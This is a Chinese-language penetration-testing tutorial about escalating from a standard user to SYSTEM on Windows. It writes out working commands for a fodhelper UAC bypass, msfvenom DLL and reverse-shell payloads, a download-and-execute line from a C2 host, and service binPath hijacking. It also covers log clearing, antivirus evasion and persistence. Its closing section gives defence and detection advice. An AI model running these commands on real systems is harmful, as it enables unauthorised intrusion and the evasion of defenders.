FEATURED · 精选文章

内网横向移动实战:UAC绕过、DLL劫持与Windows服务漏洞利用

发布时间 / 2026/8/12 13:00:16
来源 / 创域科博编辑部
栏目 / 资讯中心
内网横向移动实战:UAC绕过、DLL劫持与Windows服务漏洞利用 1. 项目概述一次典型的内网横向移动实战演练今天我们来拆解一个在内网渗透测试中非常经典且高频的横向移动场景。这个标题虽然带着一连串的感叹号但它精准地指向了Windows环境下权限提升和横向移动的几个核心突破口绕过用户账户控制、利用DLL劫持、以及通过不安全的服务路径与服务权限来获取更高权限。对于安全研究人员和渗透测试工程师而言这几乎是进入内网后从一台普通用户权限的机器迈向系统管理员权限的“必修课”。很多新手朋友可能对UAC弹窗感到头疼或者听说过DLL劫持但不知道如何具体利用更不清楚如何快速识别并利用那些配置不当的Windows服务。这篇文章我将以一个虚拟的、但高度贴近实战的内网环境为背景带你一步步走通这些技术理解其背后的原理并掌握在实际操作中如何组合运用。无论你是正在学习渗透测试的学生还是希望加固自身防御体系的运维人员这些内容都将提供直接的参考价值。简单来说我们假设的起点是你已经通过某种方式比如钓鱼邮件、漏洞利用获得了一台内网Windows 10/11主机的初始访问权限但只是一个普通用户User权限。你的目标是提升到本地最高权限SYSTEM或Administrator并以此为跳板进一步探索和控制内网中的其他机器。我们将要使用的“武器库”就包括标题中提到的这几种技术。它们之所以有效根本原因在于Windows操作系统在安全性与易用性之间的平衡以及应用程序、服务在开发与配置过程中可能产生的疏忽。接下来我们就从最常遇到的“拦路虎”——UAC开始。2. 核心思路与技术选型为何是这三条路径在内网横向移动中权限提升是承上启下的关键一步。获得一个普通用户Shell后我们面前通常有几条路一是挖掘本地内核漏洞Local Privilege Escalation, LPE但这需要匹配系统版本和补丁存在不确定性二是窃取或破解更高权限用户的凭证三就是利用系统或应用程序的配置缺陷。我们今天聚焦的正是第三条路它往往更稳定、更隐蔽且对系统版本依赖较小。2.1 绕过UAC与系统安全机制的“温和”博弈用户账户控制是微软自Vista引入的核心安全功能旨在防止未经授权的系统更改。当普通用户程序尝试执行需要管理员权限的操作时UAC会弹出提示框请求确认。对于攻击者而言直接触发UAC弹窗等于暴露行踪。因此“绕过”UAC的核心思想是寻找那些被系统“信任”、能够自动提升权限而不触发弹窗的程序或方法或者利用白名单机制中的逻辑缺陷。我们不会去禁用UAC这本身就需要管理员权限而是“借道而行”。这种方法获得的通常是中等完整性级别Medium Integrity的管理员权限虽然不如SYSTEM权限高但足以执行绝大多数后续操作如安装软件、修改服务、写入敏感目录等是横向移动中非常实用的一步。2.2 DLL劫持利用程序的“寻亲”逻辑DLL动态链接库劫持是一个古老但经久不衰的技术。其原理在于Windows系统在加载DLL时有一个固定的搜索顺序。如果一个应用程序在尝试加载某个必要的DLL时没有使用绝对路径并且我们能够在搜索顺序中更靠前的位置放置一个恶意的同名DLL那么我们的恶意DLL就会被加载并执行。在内网渗透的权限提升场景下我们主要关注两类目标一是以高权限如SYSTEM、Administrator运行的系统进程或服务二是由高权限用户手动启动的应用程序。通过劫持它们所加载的DLL我们就能“继承”其高权限。关键在于精准找到那些存在“不安全DLL加载”缺陷的可执行文件。2.3 不安全的服务路径与服务权限直指系统核心Windows服务是在后台长期运行的可执行程序通常以SYSTEM或高权限账户运行。这里存在两类主要漏洞不安全的服务路径服务配置中“可执行文件路径”包含空格且未被引号包裹例如C:\Program Files\Vulnerable App\bin\service.exe。Windows的路径解析逻辑会依次尝试C:\Program.exe、C:\Program Files\Vulnerable.exe... 直到找到正确的。如果我们对路径中某个目录有写入权限就可以放置一个与之同名的恶意可执行文件在服务重启或系统重启时被以高权限执行。脆弱的服务权限服务的访问控制列表配置不当允许低权限用户修改服务配置如SERVICE_CHANGE_CONFIG或启动/停止服务SERVICE_START,SERVICE_STOP。例如如果一个服务的权限允许“Authenticated Users”修改其路径那么任何登录用户都可以将该服务的可执行路径指向自己的恶意程序从而获得权限提升。这三条路径并非孤立在实际渗透中常常需要组合使用。例如先通过某种方法绕过UAC获得一个管理员权限的Shell然后利用这个Shell去枚举系统中存在的不安全服务或可DLL劫持的机会最终拿到SYSTEM权限。下面我们就进入实操环节。3. 实操环境准备与信息收集在开始任何攻击操作之前充分的信息收集是成功的一半。假设我们已经通过一个Web漏洞或钓鱼攻击在一台Windows 10主机上获得了一个反向Shell当前用户是labuser属于Users组。3.1 基础信息枚举首先我们需要了解我们所在的环境。# 查看当前用户和权限 whoami whoami /priv # 查看系统信息 systeminfo | findstr /B /C:OS Name /C:OS Version /C:System Type # 查看网络配置和连接 ipconfig /all netstat -ano # 查看当前用户所在的组 net user %username% # 查看本地用户和组 net user net localgroup administrators这些命令帮助我们确认当前权限级别、系统版本判断可能的漏洞、网络环境以及是否有其他高权限账户存在。3.2 针对性信息收集接下来针对我们今天要利用的三种技术进行针对性的枚举。针对UAC绕过我们需要知道UAC的设置级别和当前用户的令牌完整性级别。# 检查UAC设置 (需要注册表查询但我们可以通过尝试触发来感知) # 更直接的方式是检查当前进程的完整性级别。在普通用户Shell下通常是“Medium”。 whoami /groups | findstr Integrity如果显示“Mandatory Label\Medium Mandatory Level”说明我们处于中等完整性级别UAC在起作用。针对DLL劫持与服务漏洞我们需要扫描系统中所有可执行文件、服务及其配置。手动枚举效率极低这里必须借助工具。我们可以上传或使用内存执行的PowerShell脚本。一个经典的工具是 PowerSploit 中的PowerUp.ps1或者使用 WinPEAS 。这里以在内存中加载PowerUp为例# 在已获得的Shell中启动PowerShell powershell -ep bypass # 下载并导入PowerUp脚本 (假设你能从内网或可控服务器访问) IEX (New-Object Net.WebClient).DownloadString(http://your-c2-server/PowerUp.ps1) # 运行所有检查 Invoke-AllChecksInvoke-AllChecks会自动化地检查包括不安全的服务路径、可写服务目录、可劫持的DLL路径、AlwaysInstallElevated注册表项、计划任务漏洞等数十种权限提升向量。它的输出会清晰地告诉我们哪些地方存在可利用的弱点。注意在实际内网渗透中直接从互联网下载脚本可能被安全设备拦截。更常见的做法是先将工具上传到已控服务器然后通过SMB、Web共享或甚至将其编码后粘贴到命令行中执行。务必评估目标环境的安全策略。假设我们运行Invoke-AllChecks后得到了如下关键发现示例服务路径漏洞服务名为“VulnerableService”二进制路径为C:\My Programs\Service\service.exe路径有空格无引号并且我们对C:\目录有写入权限这在实际中不常见但对C:\My Programs有写入权限更典型。可修改的服务服务名为“WeakService”Authenticated Users组被赋予了SERVICE_CHANGE_CONFIG权限。潜在的DLL劫持点某个以SYSTEM权限运行的服务进程正在从C:\ProgramData\SomeApp目录加载version.dll而该目录对Users组可写。有了这些目标我们就可以开始 exploitation 了。4. 技术一绕过用户账户控制实战UAC绕过方法众多从利用白名单程序如fodhelper.exe,eventvwr.exe的自动提升逻辑到修改注册表键值。这里介绍一种经典、稳定且无需额外文件落地的技术利用FodHelper.exe的注册表劫持。4.1 原理简述FodHelper.exe是Windows用于管理可选功能的程序它被标记为自动提升权限AutoElevate。当它启动时会尝试从注册表HKCU\Software\Classes\ms-settings\shell\open\command读取要执行的命令。关键点在于当前用户HKCU对这个注册表路径拥有写入权限。我们可以修改该键值指向我们想要执行的恶意命令例如弹一个管理员权限的Shell然后通过某种方式触发FodHelper.exe执行。由于FodHelper.exe会自动提升权限我们的恶意命令也会以管理员权限运行且不会触发UAC弹窗。4.2 实操步骤在我们的普通用户Shell中操作REM 1. 备份原始注册表键值可选但建议 reg query HKCU\Software\Classes\ms-settings\shell\open\command REM 2. 设置恶意命令。这里我们创建一个新的管理员权限的进程例如启动一个高权限的PowerShell。 REM 注意DeFault和DelegateExecute键需要特殊处理。我们先删除可能存在的旧项。 reg delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d cmd.exe /c powershell -ep bypass -c Start-Process powershell -Verb RunAs /f reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /f REM 3. 触发执行。直接运行fodhelper.exe。 start fodhelper.exe执行后你会看到一个新的PowerShell窗口弹出其标题栏显示“管理员: Windows PowerShell”。在这个新窗口里运行whoami应该显示为管理员组的用户如domain\adminuser或machine\administrator。4.3 注意事项与清理防杀软上述命令会启动一个明显的PowerShell窗口。在实际渗透中你可能需要执行更隐蔽的命令比如直接添加一个管理员用户或者加载一个内存中的Meterpreter Payload。命令可以替换为cmd.exe /c net localgroup administrators labuser /add。清理痕迹操作完成后务必删除我们创建的注册表项以免留下明显痕迹。reg delete HKCU\Software\Classes\ms-settings\ /f适用性此方法在Windows 10/11的多数版本上有效但微软可能会在后续更新中修补。它依赖于特定的白名单程序行为是“绕过”而非“破坏”UAC机制。5. 技术二DLL劫持漏洞利用详解假设通过信息收集我们发现一个以SYSTEM权限运行的服务SQLWriter其可执行文件路径为C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe。进一步检查发现该进程启动时会从C:\Program Files\Microsoft SQL Server\90\Shared\目录尝试加载一个名为sqlunirl.dll的库但该DLL并不存在。而我们对C:\Program Files\Microsoft SQL Server\90\Shared\目录有写入权限这可能由于错误的权限继承或配置导致。5.1 漏洞原理与利用条件Windows DLL搜索顺序部分如下应用程序所在目录。系统目录C:\Windows\System32。Windows目录。当前工作目录。PATH环境变量中的目录。由于sqlunirl.dll不在系统目录应用程序会在其所在目录即Shared目录寻找。因为我们有写入权我们可以在此放置一个恶意的sqlunirl.dll。当服务重启或系统重启时我们的DLL将被以SYSTEM权限加载。5.2 恶意DLL的制作我们需要用C或C编写一个DLL在其入口点如DllMain执行我们的恶意代码。这里以弹出一个计算器作为概念证明为例使用msfvenom快速生成一个DLL payload。# 在攻击机Kali上操作 msfvenom -p windows/x64/exec CMDcalc.exe -f dll -o sqlunirl.dll这将生成一个64位的DLL被加载时会执行calc.exe。在实际攻击中CMD参数应替换为反向Shell命令、添加用户命令或其他持久化脚本。5.3 实施劫持上传DLL将生成的sqlunirl.dll上传到目标机的C:\Program Files\Microsoft SQL Server\90\Shared\目录。可以使用certutil、PowerShell的WebClient或者通过SMB共享。# 在目标机普通用户Shell中使用PowerShell下载 powershell -c (New-Object Net.WebClient).DownloadFile(http://your-attack-ip/sqlunirl.dll, C:\Program Files\Microsoft SQL Server\90\Shared\sqlunirl.dll)触发加载需要重启SQLWriter服务。如果我们当前只是普通用户可能没有权限重启服务。这时就需要结合其他方法比如等待系统自然重启或者利用我们之前通过UAC绕过获得的管理员权限来重启服务。# 使用管理员权限的Shell执行 net stop SQL Writer net start SQL Writer服务重启后如果漏洞存在且我们的DLL编写正确计算器程序将以SYSTEM权限弹出。这证明了我们获得了SYSTEM级别的代码执行能力。5.4 高级利用与隐蔽性DLL侧加载有时目标程序会明确指定从特定目录加载一个合法的DLL通常用于插件或组件。如果该目录可写同样可以劫持。PowerUp脚本能很好地识别这类情况。DLL代理为了保持原程序功能正常避免崩溃引起怀疑可以制作一个“代理DLL”。这个DLL会先执行我们的恶意代码然后将函数调用转发给原始、合法的DLL通常需要将其重命名后放在别处加载。这需要一定的逆向工程能力。查找技巧使用Process MonitorProcMon工具可以动态监控进程的DLL加载行为精准定位劫持点。但在已控的Shell环境下静态分析通过PowerUp等脚本和已知漏洞库查询更为常用。6. 技术三利用不安全的服务路径与服务权限这是我们今天要讲的另一个重头戏它往往能直接、稳定地获得SYSTEM权限。6.1 不安全的服务路径利用回顾我们的发现服务“VulnerableService”的路径为C:\My Programs\Service\service.exe。原理当Windows服务管理器解析这个路径时由于没有引号它会按空格分割依次尝试C:\My.exeC:\My Programs\Service.exeC:\My Programs\Service\service.exe如果我们对C:\或C:\My Programs有写入权限我们就可以创建一个名为My.exe或Service.exe的恶意程序当服务重启时我们的程序会先于真正的service.exe被以服务账户权限很可能是SYSTEM执行。实操确认我们对C:\My Programs目录有写入权限icacls C:\My Programs。使用msfvenom生成一个恶意exe命名为Service.exe。msfvenom -p windows/x64/shell_reverse_tcp LHOSTyour-ip LPORT4444 -f exe -o Service.exe将Service.exe上传至C:\My Programs\目录。重启服务。由于我们可能没有权限可以尝试等待系统重启或者利用已获得的管理员权限如果已通过UAC绕过获得来操作。sc stop VulnerableService sc start VulnerableService在攻击机监听4444端口成功接收到一个来自目标机的SYSTEM权限反向Shell。6.2 脆弱的服务权限利用回顾发现服务“WeakService”允许Authenticated Users修改配置。原理SERVICE_CHANGE_CONFIG权限允许我们修改服务的二进制路径。我们可以将路径指向我们上传的恶意程序然后启动服务。实操使用sc命令或PowerShell的Set-Servicecmdlet来修改服务路径。即使当前是普通用户只要拥有该权限即可。# 查看当前配置 sc qc WeakService # 修改二进制路径到我们的恶意程序 sc config WeakService binPath C:\Users\Public\malware.exe # 注意binPath后面有一个空格这是sc命令的语法。启动服务执行我们的恶意程序。sc start WeakService服务会尝试以自身账户通常是SYSTEM运行malware.exe从而给我们一个高权限Shell。一个重要陷阱——服务恢复机制修改服务路径并启动后服务可能会因为我们的恶意程序退出而进入“停止”状态。如果该服务配置了“失败恢复操作”比如“重新启动服务”那么系统会尝试重新启动它。但此时二进制路径已被我们修改系统会再次执行我们的恶意程序导致一个循环可能引起系统不稳定或管理员警觉。更隐蔽的做法是修改路径指向一个能正确启动原服务并同时执行我们payload的“包装器”程序或者在执行完payload后将路径改回原状。7. 问题排查、防御与检测实录在实际操作中绝不会一帆风顺。以下是一些常见问题和我踩过的坑7.1 常见问题排查UAC绕过不成功检查UAC级别如果系统UAC设置为“始终通知”最高级别部分绕过方法会失效。可以尝试其他方法如eventvwr.exe注册表劫持原理类似但键值路径不同。杀软拦截修改注册表或启动可疑进程可能被终端安全软件阻止。需要观察杀软日志或尝试禁用相关防护模块如果已有相应权限。权限不足确保操作在正确的用户上下文通常是交互式登录会话中进行。某些非交互式Shell如某些Web Shell可能无法成功触发UI相关的自动提升。DLL劫持后服务崩溃无回调DLL位数不匹配确保生成的DLL32位/64位与目标进程位数匹配。用tasklist /m dllname.dll或Process Explorer查看进程位数。DLL入口点问题过于复杂的payload可能导致DLL加载失败。先用一个简单的MessageBox或执行calc.exe的payload测试。DLL依赖你的恶意DLL可能依赖其他运行时库如VC runtime。使用静态链接编译或确保目标系统存在所需运行库。msfvenom生成的DLL通常兼容性较好。路径权限再次确认你对目标目录是否有写入和执行权限有时可写但不可执行如某些文件夹的权限设置。服务路径/权限利用失败路径被占用如果你创建了My.exe但服务没有执行它可能是真正的服务程序service.exe正在运行且被锁定。需要先停止服务。杀软删除上传的恶意exe可能被实时防护删除。尝试混淆、编码或使用白名单程序如msbuild.exe,installutil.exe来间接执行payload。服务账户权限不是所有服务都以SYSTEM运行。用sc qc ServiceName查看SERVICE_START_NAME字段。可能是LocalService、NetworkService或一个自定义账户。这些账户权限低于SYSTEM但通常也足以完成横向移动。SC命令语法错误sc config命令中binPath后面的空格是必须的且整个路径如果包含空格不需要加引号这与通常的命令行习惯不同。例如sc config WeakService binPath C:\My Tools\evil.exe7.2 防御建议蓝队视角了解了攻击手法防御就更有针对性加固服务配置给所有服务路径加引号检查所有服务确保ImagePath被双引号包裹例如C:\Program Files\My App\service.exe。遵循最小权限原则服务账户使用最低必要权限如LocalService避免使用SYSTEM。为服务创建专用账户。收紧服务权限定期审计服务的DACL移除非必要的用户/组如Authenticated Users,Everyone的SERVICE_CHANGE_CONFIG、SERVICE_START、SERVICE_STOP等权限。使用sc sdshow和sc sdset命令或组策略进行管理。防范DLL劫持使用绝对路径或KnownDLLs在开发应用程序时使用绝对路径加载关键DLL或通过SetDefaultDllDirectories和AddDllDirectoryAPI限制DLL搜索路径。设置安全的目录权限确保%SYSTEMROOT%、Program Files、Program Files (x86)等关键目录的权限严格Users组默认只应有读取和执行权限不应有写入权限。启用DLL搜索顺序安全策略对于支持的系统可以配置CWDIllegalInDllSearch注册表项或将SafeDllSearchMode设置为1默认已是这会将当前工作目录的搜索顺序后移。缓解UAC绕过将UAC设置为最高级别“始终通知”可以阻断大多数自动提升绕过技术。启用“以管理员批准模式运行所有管理员”这是UAC的核心不要禁用。保持系统更新微软会通过补丁修复已知的UAC绕过漏洞。加强监控与审计监控服务创建与修改通过Windows事件日志事件ID 7045或Sysmon事件ID 1, 13监控服务的安装和配置更改。监控来自非标准路径的进程创建特别关注从临时目录、用户可写目录启动的svchost.exe、services.exe子进程或服务二进制路径的异常变更。监控注册表键值修改关注HKCU\Software\Classes\ms-settings\等已知用于UAC绕过的注册表路径的更改。监控DLL加载使用Sysmon事件ID 7记录模块加载特别关注从可写目录加载的DLL。7.3 渗透中的隐蔽性考量时间选择在目标业务低峰期进行服务重启操作减少影响和被发现的风险。命令混淆对上传的Payload和执行的命令进行编码、混淆规避命令行审计和静态查杀。清理痕迹操作完成后尽可能恢复服务配置、删除上传的恶意文件、清理注册表项。使用wevtutil清理相关事件日志需要高权限。持久化与权限维持获得SYSTEM权限后应考虑建立更隐蔽的持久化通道如计划任务、WMI事件订阅、启动项等而不是依赖容易被发现的服务漏洞。内网渗透是一场关于权限和信息的战争。绕过UAC、DLL劫持、利用服务漏洞这些技术都是攻击链上的利器但它们的成功极度依赖于前期的细致枚举和后期的稳定操作。对于防御方而言理解这些攻击原理并按照最小权限原则加固系统、配置恰当的监控是构建有效纵深防御的关键。每一次成功的渗透或防御都建立在无数细节的把控之上。
RELATED — 相关阅读

相关资讯

LATEST — 最新资讯

最新发布

TODAY — 本日精选

新闻

WEEKLY — 本周精选

新闻

MONTHLY — 本月精选

新闻